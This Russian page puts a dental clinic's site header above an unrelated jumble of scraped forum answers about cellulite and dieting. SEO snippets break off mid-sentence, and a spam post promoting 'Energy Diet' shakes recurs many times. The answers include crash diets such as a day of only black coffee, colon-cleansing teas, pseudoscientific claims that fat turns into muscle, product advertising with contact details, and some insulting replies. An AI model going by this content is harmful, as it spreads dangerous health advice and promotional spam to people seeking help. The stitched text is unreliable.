Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как вы считаете реально ли избавиться от целлюлита на ногах и ягодицах? если да,то каким образом??

Фитнес и спорт.... здорове питание питание...

Целлюлит замещение жира мышцами.Первый тип упражнений позволит вам быстрее запустить процессы ... быстрее вы сможете сжечь жир и избавиться от целлюлита на животе и бедрах.

Эмм.... жесткий секас)

Банками! круто! или массажем еще медовым!

Нужно много двигаться!

Если не сильно запущено то можно. спорт активный. массаж. здоровое и нужное питание. активный образ жизни. моржевание вот всё что необходимо

А я просто правильно питаюсь и занимаюсь спортом (хорошие такие нагрузки - 2 часа каждый день) - целлюлит тает на глазах замещается жировая ткань мышечной) ) никакие обертывания не делаю)

Могут ли вырасти мышцы под жиром? Это я!!! Ученик 39 , закрыт 4 года назад. Мне сейчас 15 лет, и я вновь начала заниматься спортом бегом , но у меня есть жир на животе, немного целлюлита на попе и ногах, и сейчас я заметила, что мои ноги выше колена стали больше, я...

Есть ли не очень дорогая диета,чтобы поправить здоровье и сбавить лишний вес?

Ээээ ааааа,... диеты разве дорогими бывают??? наоборот-не жрать-очень даже экономно!!!:))

Фитнес против целлюлита. Фитнес можно смело рекомендовать молодым и здоровым. Он выгодно отличается тем, что даетКак известно, мышцы тяжелее жира, и поэтому первое время, когда будет происходить такая замена жировой ткани мышечной, ощутимой потери...

Я сажусь на диету Л. Долиной, очень эффективная, просто я сама срываюсь, а думаю с кем-то бут веселей и я выдержу и ты. Если согласна напиши свою аську или адрес в контакте и пообщаемся))

Спамеры, как видно, на проекте крепко засели. А всё из-за чего? Никто не хочет даже пытаться понять, как устроен их организм. Всем хочется получить диету, естественно, бесплатно, кому-то дорогую подавай, самую простую, и чтобы фигура стала идеальной, как у какой-нибудь звезды. А теперь ещё и в отдельных местах вес хочется сбрасывать. Смешно!
Для того, чтобы найти свою диету, люди тратят годы. Идеальной диеты не нет и быть не может. К упражнениям это тоже относится. Особенно у женщин. Глупо рассчитывать на то, что вес будет уходить именно в тех местах, на которые направлены те или иные упражнения.
Не помогут никакие таблетки, диеты, советы подружек, ответы на этом и пр. проектах, пока Вы не разберётесь в себе. И я говорю не о душевном состоянии, что тоже, на самом деле, важно. Теперь ещё и на диеты различных звёзд подсаживаться стали. И как подсаживаться? Семь дней по системе заслуженного диетолога Всея Руси, Ларисы Долиной, потом ещё пару дней на Кремлёвских таблетках продержаться и остаток месяца помучить себя советами "добрых "подружек и "толковыми" ответами незнакомых людей на различных форумах, "ответах" и пр.
Мне кажется, что спамеры, которые просто забомбили этот проект, как и множество других сайтов, скоро будут загорать на собственных яхтах, где-нибудь в Средиземном море, посмеиваясь над, простите, дурами, которых они развели.
Поймите, нет такой диеты, которая может подойти каждому человеку. У всех разный тип телосложения (эктоморфы, мезоморфы, эндоморфы) , образ жизни, климатические и прочие условия, особенности организма и т. д. и т. п. Список можно продолжать ещё долго. Никто здесь не знает о Ваших болезнях, о том, какой, к примеру, вид белка лучше усваивается Вашим организмом. Для того, чтобы это узнать, должно пройти не мало времени. Я уже молчу о том, что нужно ещё и понять, для чего Вам нужны такие знания.
Нужно хоть немного разбираться в особенностях Вашего организма. Вы в курсе, что женский организм отличается от мужского. Женщине гораздо сложнее сбросить вес так, чтобы ещё и здоровью не навредить. А Вы хотите наслушавшись сомнительных советов ставить на себе эксперименты. Те, кто вам тут отвечает, забудут про Ваше существование через несколько минут.
Вам не диета нужна, сколько бы она не стоила, говоря вашим языком. Нужно читать полезную литературу (только не ту, что советуют подружки) , найти спортивный зал с нормальным тренером и врача, который мог бы следить за Вашим состоянием. Про то, что нужно выработать режим, мне кажется, Вам напоминать не стоит. Ну а что касается питания (постарайтесь забыть это "модное" слово - диета) , то с ним Вы сможете определиться лишь через какое-то время. Всё будет зависеть от того, на сколько будут интенсивны тренировки, от состояния Вашего организма, от советов врача и тренера.
Желаю удачи!

Раздельное питание. Ещё никому не повредило.

Напишите мне у меня есть то, что вы ищите

Жокейская диета
Диета применяется в случае, если необходимо срочно похудеть. Эффект усиливается сауной и массажем.
Первый день: 1 печеный цыпленок, разделенный на три части.
Второй день: 300 г телятины, жаренной без жира (на решетке) , также разделенной на три части.
Третий день: 3-5 чашек черного кофе.
Белковая диета
Вы сможете похудеть за 2–3 дня на 3-5 килограмм, если будете четко придерживаться предложенного рациона.
Утро: одно яйцо, сваренное всмятку, через 3 часа – примерно 150 г нежирного творога, который запивается чаем, спустя еще 3 часа – снова 150 г творога и чай. До следующего утра только минеральная вода в любом количестве.
Такая диета слишком тяжела для организма. Повторное ее применение возможно не ранее 1 месяца.
Рыбная диета
Рыбная диета проводится за 2-3 дня и гарантирует избавление от 3 лишних килограммов.
Необходимо есть пять раз в день по 100 г несоленой вареной рыбы с овощным гарниром (капуста, огурцы, помидоры) . На завтрак и обед можно выпить по стакану чая без сахара, кофе с лимоном или отвара шиповника.
Трехдневная диета
Эта диета рассчитана на три дня, за которыми следуют четыре дня нормального (без обжорства) питания. Диета удобная и относительно легко переносимая. Надежда на то, что за тремя "тощими" днями следуют четыре нормальных, очень помогает пережить эти три дня. Важно и в остальные четыре дня питаться умеренно, хотя, постепенно организм привыкает сам себя "держать в узде".
1-й день: Завтрак: Черный кофе или чай без сахара, 1 ломтик хлеба, 2 ст. ложки арахисовой пасты или варенья. 2-й завтрак: 1/2 грейпфрукта. Ланч: 1/2 банки тунца в масле (tuna), 1 ломтик хлеба, 4 редиски. Обед: 100 г (сырого веса) курицы без кожи и жира, 1 стакан вареной зеленой фасоли, 1 стакан вареной свеклы, 1 хрустящий хлебец. Курицу тонко нарезать, добавить 1 ч. ложку соевого соуса и, постоянно помешивая, быстро обжарить на сухой тефаловой сковородке. Перед сном: 1 небольшое яблоко.
2-й день: Завтрак: Черный кофе или чай без сахара, 1 яйцо (в любом виде - вареное, всмятку, в виде омлета) , 1 ломтик хлеба. Второй завтрак: 1 банан. Ланч: 1 стакан зернистого творога, 4 редиски, укроп, 5 крекеров. Обед: 2 сосиски, 1 стакан вареной брокколи, 1/2 стакана морковки, 1 хрустящий хлебец. Вариант - можно заменить брокколи + морковь на 1 стакан диетического борща. Перед сном: Чай, 2 чернослива.
3-й день: Завтрак: Черный кофе или чай без сахара, 5 крекеров, 1 ломтик сыра. 2-й завтрак: 1 небольшое яблоко. Ланч: 1 вареное яйцо, 1 огурец (свежий или соленый) , 4 редиски, 1 ломтик хлеба. Обед: 1/2 стакана тунца, 1 стакан вареной свеклы, 1 стакан цветной капусты, 1 хрустящий хлебец. Вариант: заменить тунец на 200 г (сырой вес) курицы, приготовленной, как описано выше. Перед сном: 1/2 небольшой дыни или маленькое яблоко.
Эта диета, хотя и низкокалорийная (около 900 калорий в сутки) за счет относительной сбалансированности продуктов переносится довольно-таки легко. Еще легче будет, если одновременно принимать витаминно-минеральный комплекс.
Эту диету можно повторять много раз подряд, пока не будут достигнуты желаемые результаты. При ней так же нужно очень много пить - 6-8 стаканов простой воды в день.
Четырехдневная диета
Первый день: Завтрак: 1 апельсин + 2 сваренных вкрутую яйца + 1 чашка черного кофе. Обед: 8 черносливин, замоченных в воде. Ужин: 1 яйцо + 1 апельсин.
Второй день: Завтрак: 1 чашка кофе + кусок нежирного сыра. Обед: 1 яйцо + 1 апельсин. Ужин: 1 груша + 1 стакан молока.
Третий день: Завтрак: 1-2 стакана чаю. Обед: 1помидор + 1 огурец + кусок сыра. Ужин: 1 стакан молока.
Четвертый день: Завтрак: мюсли в соке или молоке. Обед: 1 огурец + 1 помидор. Ужин: 2 апельсина.
Апельсин можно заменить на грейпфрут.
--------------------------------------------------------------------
существуют монодиеты-рисовая, гречневая, яблочная, творожная, белковая, но не советую, быстро надоедает

Ведь с возрастом происходит постепенное замещение мышечной ткани на жировую.Все это привело к выводу, что оценивать надо соотношение мышцы жир или знать, сколько жира у Вас должно быть.

Есть просто. На столе просто отварной картофель, огурцы, сало, яйца. Ну и без фанатизма есть.

БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ-
обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка.
ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать.
ДИЕТА - применяя коктейли энерджи диет, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день: -) но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. Интересно, пишите, отвечу всем… .
ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) .
СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… .
КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку.
ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, если материальные средства позволяют, можете сделать LPG - внимание, если при них появится звёздочки, тогда надо прекратить процедуры.
Интересно, пишите, отвечу с радостью….. уже многим помогла… .

Почему я не похудела? см. вн.

Конечно сможешь, так бывает. Главное диету не бросать

Тем не менее люди, которые имеют лишние жировые отложения, могут чаще наблюдать более выраженное развитие целлюлита, а те, кто с меньшим количеством жира и большим количеством мышц, по определению, как правило, имеют менее видимый целлюлит.

Это нормально, продолжайте диету, постарайтесь побольше двигаться. Просто пока у вас ушел "легкий" вес, так называемая "лишняя водичка". Если будете продолжать, то очередь дойдет и до жирка. Удачи вам и терпения!

Нет, не сможешь, более того, 4 потерянных кило вернуться и еще 5 с собой прихватят

Прояви настойчивость

«БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ- обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка. ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать. ДИЕТА - применяя коктейли энерджи, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) . пишите, если интересно.... СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… . КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку. ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, если материальные средства позволяют, можете сделать LPG - внимание, если при них появится звёздочки, тогда надо прекратить процедуры. »

Я радуюсь, если за месяц удается 4 кг сбросить... больше хочется все-таки стойкого эффекта, чем быстрого, наберитесь терпения

Дряблые телеса иногда означают детренированную мышечную ткань, которая постепенно замещается жировой. Конечно, респектабельности у такого оголения мало, но целлюлит развивается несколько по иным правилам.

Вес всегда уходит волнообразно, не переживай, не сходи с диеты.

Ничего страшного. диету продлжайте, но не переусердствуйте.
для усиления эффекта сопровождать диету физ. нагрузками, вес может от них и не сбрасываться, т. к. мышечная масса тяжелей жировой, но визуально тело будет подтянутым.
ещё быстро худеют при подсчёте каллорий. Килограммы на глазах уходят. В первый день надо есть как обычно, без диеты, при этом считая калории. Так вы узнаете сколько калорий вы примерно съедаете каждый день. Потом надо сократить их колличество (минимум-800 ккал в день!) со временем подсчёт ойдёт в привычку
ещё одно правило-калорийность продукта зависит в первую очередь от его качества.
и последнее, после диеты надо быть осторожней, чтобы не получилось-сбросил 5,а набрал 10 кг.
Удачи вам)

В первые дни голодовки теряешь вес быстро, потом медленнее

Как выдержать диету , если срываюсь уже на 3 день ?

Просто смирись

Целлюлит- это всего лишь излишки жира скопившиеся в подкожно-жировой клетчатке на поверхности наиболее ослабленных мышц.Уменьшение мышечной массы тела ведет к уменьшению сжигаемого мышцами жира как во время тренировки так и во время отдыха.

Да потому-что диеты -это бред, Завтракайте кашей овсяной на воде, днем овощи, фрукты, легкие салатики, свежевыжатые соки, после шести чаёк зелененький пейте, и никакой еды, а хотите летом ходить толстой и целлюлитной, налегайте на картошечку...

Смирись. Ты навсегда останешься толстой. И будешь с каждым годом все больше и больше. Все толще и толще.

А не надо сидеть на диете, есть несколько уловок, которые помогают просто меньше есть: используете тарелки меньшего размера, чтобы казалось, что еды очень много, будете есть меньше на 10 - 15%, ешьте чаще - 5-6 раз небольшими порциями, не будет волчьего аппетита, перед основной едой сначала ешьте много салата (капусты) или других продуктов, содержащих растительные волокна.

От диет будешь еще толще и больнее, лучше двигайся больше. И ввобще хорошего человека должно быть много, а тощие женщины очень страшны и мужикам не нравятся.

Слабачка.. . почаще смотри в унитаз.. .
это то, ради чего ты ешь.

Целлюлит. В косметологии под целлюлитом cellulite понимают особенность женскойОн сопровождается снижением тонуса мышц. Поверхность кожи мягкая, она сотрясается приДиета при целлюлите заключается в сокращении потребления соли, сахара, жиров и молочных...

Я думаю Вам подойдет как раз трехдневная диета или голодание: это дни новолуния и полнолуния. В эти дни очень быстро сбрасывается вес. Только после этой диеты старайтесь снижать свой рацион.

Я на японской сидела 2 недели. В это время пила редуксин. Как похудеешь на 3-4 кг начинай заниматься фитнесом. Я занимаюсь 2 раза в неделю степ и 2 раза пилатес. За 2 мес на 13!!! И ужинать конечно до 18 ч. Я ужинаю на работе, а потом дома всем ужин готовлю, ох тяжелоооо удержаться!! ! Дома пью молокочай, чтобы не есть. Удачи!!!

Нет силы воли.

Можно просто заменить вкусное вредное на вкусное полезное, и тогда вы с удовольствием будете худеть и не будете срываться, читаем ниже... .
БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ-
обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка.
ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать.
ДИЕТА - применяя коктейли энерджи диет, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день: -) но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. Интересно, пишите, отвечу всем… .
ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) .
СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… .
КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку.
ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, если материальные средства позволяют, можете сделать LPG - внимание, если при них появится звёздочки, тогда надо прекратить процедуры.
Интересно, пишите, отвечу с радостью….. уже многим помогла… .

Посмотришь га такие фото- точно не сорвёшься на третий день

Польза или вред? Список продуктов с жирами животного происхождения. Целлюлит - обычный термин для некрасивых, комковатых жировых отложенийЭффект от применения Целл-у-лосс основывается на замещении избыточной жидкости на калий в тканях организма.

Хотелось бы узнать, есть ли здесь ПОХУДЕВШИЕ?

Попробуйте диету миримановой -60 (но это скорей не диета а образ жизни)
Многим помогает
Если про питание то ешьте больше фруктов (особенно киви-очень советую)

Целлюлит это заболевание характеризующееся накоплением соединительной ткани в подкожной жировой клетчатке.На второй и третьей стадии, когда формируются устойчивые спайки между кожей и мышцей, приводящие к раздражению мышечного волокна и, как...

Да 3 км утром и вечером после 6 не есть ничего раз в неделю разгрузка яблоки.

Хорошо худею, когда не ем хлеб (совсем), после зимы всегда приходится на пру тройку недель отказаться, зимой как мишка набираю, сама не знаю почему.:)))

Заниматься спортом это самое главное и не есть сладкое, а да и на ночи не есть совсем тока пить!

Раздельное питание + очищение кишечника очень хорошо помогает. Сама похудела на 30 кг. Желаю удачи.

Есть! на 10 кг. худела с декабря. но постепенно. на диетах не сижу. просто не больше тысячи калорий в день ( не сладких, не мучных и не жирных естевственно) , и неизныряющие физические нагрузки.
но если хотите именно похудеть, то тренировки оставьте на будущее, иначе жир будет преобразовываться в мышцы и вы просто накачаетесь!)

Целлюлит и жир совсем не одно и то же. И так, в чем же разница между целлюлитом и жиром?Соответственно мышцы будут дольше восстанавливаться. И будет откладываться жир, которого бы могло и не быть...

Дробное питание. От 5ти раз в день, лучше раз в час. За раз не больше 150-200гр еды. Преимущественно овощи. Фрукты слишком сладкие, так что могут тормозить процесс. Нет сахару, хотя я пью чашку кофе с молоком и сахаром раз в день с утра (не могу жить без нее-физически) . С утра можно кашу на воде (я люблю с чесноком) . От соли не отказываюсь, но снижаю потребление. Маложирное питание, но без фанатизма. Жир нужен для волос, ногтей, кожи - оливковое масло и 10% сметана (еще любила 1% соус (нежирный творог+кефир)) .
2 литра воды в день. Именно воды. У меня на этот случай по дому 4 бутылки по 500мл.
Из физ. нагрузки пока не посчитаете нужным усложнять. прогулки на свежем воздухе (кислород помогает худеть) .
У меня ленивый вариант) ) беговая дорожка + открытое окно если погода позволяет. Велотренажер у телика - ленивым темпом. И танцевальный коврик для души.
Ежедневный душ, самомассаж.
При большом весе, первые  уходят быстро. Но мы же с вами понимаем, что большой вес - понятие растяжимое? )))

Диетолог-подскажет про питание, тренер-про физическую активность подходящую именно вам при вашем весе (а то если вы со своим весом побежите по беговой дорожке вы тока варикоз можете заработать) , аккуратней надо с тренировками может первый месяц даже лучше с индивидуальным тренером позаниматься+массажи, крема и т. д.

Уже да, с декабря похудела на 15 кг, вот по такому методу)))))) все испытано НА СЕБЕ... .
БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ-
обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка.
ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать.
ДИЕТА - применяя коктейли энерджи диет, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день: -) но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. Интересно, пишите, отвечу всем… .
ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) .
СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… .
КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку.
ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, если материальные средства позволяют, можете сделать LPG - внимание, если при них появится звёздочки, тогда надо прекратить процедуры.
Интересно, пишите, отвечу с радостью….. уже многим помогла… .

Есть и похудевшие и похорошевшие и помолодевшие!!!! Смотри фото.

Есть. Регулярное, 2 раза в год очищение организма, живая вода, здоровое питание, активный образ жизни. Никаких диет.

При нарушении венозного кровотока, лимфатического дренажа и отложении избыточного жира целлюлит проявляется на бедрах и ягодицах.Локализация целлюлита в области шеи может быть свидетельством заболеваний мышц или костей мышечный спазм, артрит , состояния...

Есть прекрасные результаты тех кто принимал коралловую воду. Это процесс длительный, но люди теряли в весе от 10 до 30 кг. , послt очистки организма. Подробности - на tomat555@inbox.ru

За 2 месяца 6 кг, гречневая диета за неделью 3 кг

Я с бодифлексом похудела в обЪёмах на 20 см за неделю !

Могут ли вырасти мышцы под жиром?

:) тупее вопроса просто небывает

Упражнения для мышц ног. Ванесса Томпсон Прощай, целлюлит.Целлюлит имеют также и те, кто якобы избавился от него, потеряв излишний вес. Так что же это в действительности избыточный жир или целлюлит?

Нет, такого быть не может.
нужно заниматься бегом, а также прокачивать пресс и все пройдет.

Занимайся и жир исчезнет. пресс тоже качай и будешь стройная и красивая!! ! удачи в спорте.

Хахаха :DDD

Жир зжигается и преобразовывается в мышцы, со времкнем ноги должны пройти, пресс- да можно

О господи) спортом будешь заниматься, жир исчезнет...

Мышцы тяжелее жира, поскольку клетки, составляющие мышцу, плотнее, чем жировые клетки.Мы уже знаем, что мышцы тяжелее жира. Поэтому не спешите расстраиваться, так как доля жира в организме может быть меньше доли мышц.

У меня они растут, эти самые мышцы под жиром, вместе с животом и прессом.

Если в день съедать 3 апельсина,1 киви и йогурт жидкий 500 мл, то за соклько я похудею на 3 кг??? далее внтри

Для нормально похудения просто необходимо разнообразное питание, а если так сидеть на диете, то скоро у гастроэнтеролога только можно оказаться

Естественно, что через месяц после начала занятий целлюлит уже будет воспоминанием. Это произойдет даже раньше, чем вы заметитеКак известно, мышцы тяжелее жира, и поэтому первое время, когда будет происходить такая замена жировой ткани мышечной, ощутимой...

Чтобы похудеть, займитесь спортом, ешьте пищу не жареную, не жирную, исключите сладкое. Но продукты должны быть разнообразные

Есть побольше вареного риса на гарнир, сделать раздельное питание, не есть после 6.Питание сбалансированное. 2части овощи, фрукты 1 часть мясо и углеводы. Всего 3 части.

Сразу скажу худеть-это доорго! ну если худеть так, что бы здоровья прибовляолсь, а не до дистрофии и угасания иммунитета за недостатком питательных веществ. Вы написали, что не можете заняться спортом так как болеете, но! вам же не обязательно надрываться на силовых тренировках, можно подобобрать свою программу, есть пилатес, йога или лечебная физкультура. Поверте пожалуйста, организму очень сложно жить без движения.
А на счет питания могу только одно сказать. Вы себя ограничиваете организм получает стресс - вы еще болщье хотите есть. Замкнутый круг. есть еще эмоциональное переедание, когда человек заедает стрессы или ему чего-то не хватает в жизни. Главное убрать привычку "охото пожевать" поменьше жирного, фастфуда, а так кушать надо все! и сливочное масло тоже! и все все продукты только правильно приготовленые (и в разумных количествах разумеется)!

На 3 килограмма похудеете за неделю, но вы зря решили сидеть на апельсинах и киви. Можно заменить эти продукты более полезными

Кроме диеты нужно ещё двигаться.

Возможно ли перегнать жир в мышцы. Как из жира создать мускулатуру. Ответ.Мужской целлюлит - как бороться с целлюлитом у мужчин Мужской целлюлит явление спорное и до сих пор не признанное.

БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ-
обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка.
ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать.
ДИЕТА - применяя коктейли энерджи диет, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день: -) но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. Интересно, пишите, отвечу всем… .
ПРАВИЛЬНОЕ ПИТАНИЕ - один из важнейших составляющих диеты, молочный коктейль энерджи - это гарантированное снижение и нормализация веса. Похудение на молочных коктейлях и правильном питании принесло мне такие же результаты, как и диета, только я не ограничивала себя жуткими рамками дозволенной пищи (в день хорошо съесть 1000-1200 ккал, ЕСЛИ нет физических нагрузок) .
СПОРТ, АЭРОБИКА, ФИТНЕСС - заниматься нужно всё равно, какими бы ленивыми вы не были, женщинам хорошо подойдёт аэробика, чтобы не накачать лишних мышц, делайте упражнения в быстром темпе или просто включайте любимую музыку и прыгайте, танцуйте, как вам хочется, но темп должен быть быстрый… .
КРЕМА, ГЕЛИ И ПРОЧЕЕ - никакой крем не поможет вам скинуть 5кг. Он может улучшить состояние кожи и всё. Как можно намазаться кремом и есть при этом булочку, ожидая потрясающего эффекта? Замотайтесь в пищевую плёнку с кремом и прыгайте под музыку.
ЦЕЛЛЮЛИТ - как начинаешь худеть и правильно питаться, он становится менее заметным, трите ноги жесткими губками, мочалками, а лучше жесткими специальными варежками. Делайте медовый массаж, вакуумный массаж, если материальные средства позволяют, можете сделать LPG - внимание, если при них появится звёздочки, тогда надо прекратить процедуры.
Интересно, пишите, отвечу с радостью….. уже многим помогла… .

Нужна помощь. Как убрать так называемые жировые "крылья" со спины??? очень надо!!

А липосакция??

Как побороть целлюлит? Эффективен только комплексный подход. Поэтому наряду с упражнениями, кремами от целлюлита и массажем включи в свой рацион продукты-жиросжигатели и исключи еду, которая приводит к накоплению жира.

Массаж

Боковые наклоны, гантельки в руки, скручивания

Массаж! и гимнастика! Удачи

Надо пересмотреть питание и конечно нужен спорт

БЫСТРЫЙ ВИЗУАЛЬНЫЙ ЭФФЕКТ-
обязательно загореть на солнце, т. к. загорелый человек зрительно кажется худее, да и это просто эстетичнее выглядит. Можно купить утягивающие шорты или бельё, но перед покупкой надо померить, чтобы не выглядеть как гусеничка.
ЭФФЕКТ ОЧИЩЕНИЯ - перед или при любой диете обязательно надо очистить кишечник (без клизмы) как вариант - чаи очищающие, которые не требуют проживания в туалете, а просто будет необходимость туда пару раз в день заглядывать.
ДИЕТА - применяя коктейли энерджи диет, альтернативное питание, они очень сытны и питательны. Заменяю 2 приема пищи. Есть программы снижения веса, например старт-это первая программа, длится 5 дней, при полной замене пищи на энерджи. 5 дн по 3-4-5 приемов через каждые 3 часа, обязательное условие на Старте, этого достаточно, хотя хватает только 3х приемов в день: -) но каждый человек индивидуален, потеря за эти 5 дней идет от 3 до 5 кг веса, причем без возврата, испытано. Интересно, пишите, отвечу всем… .
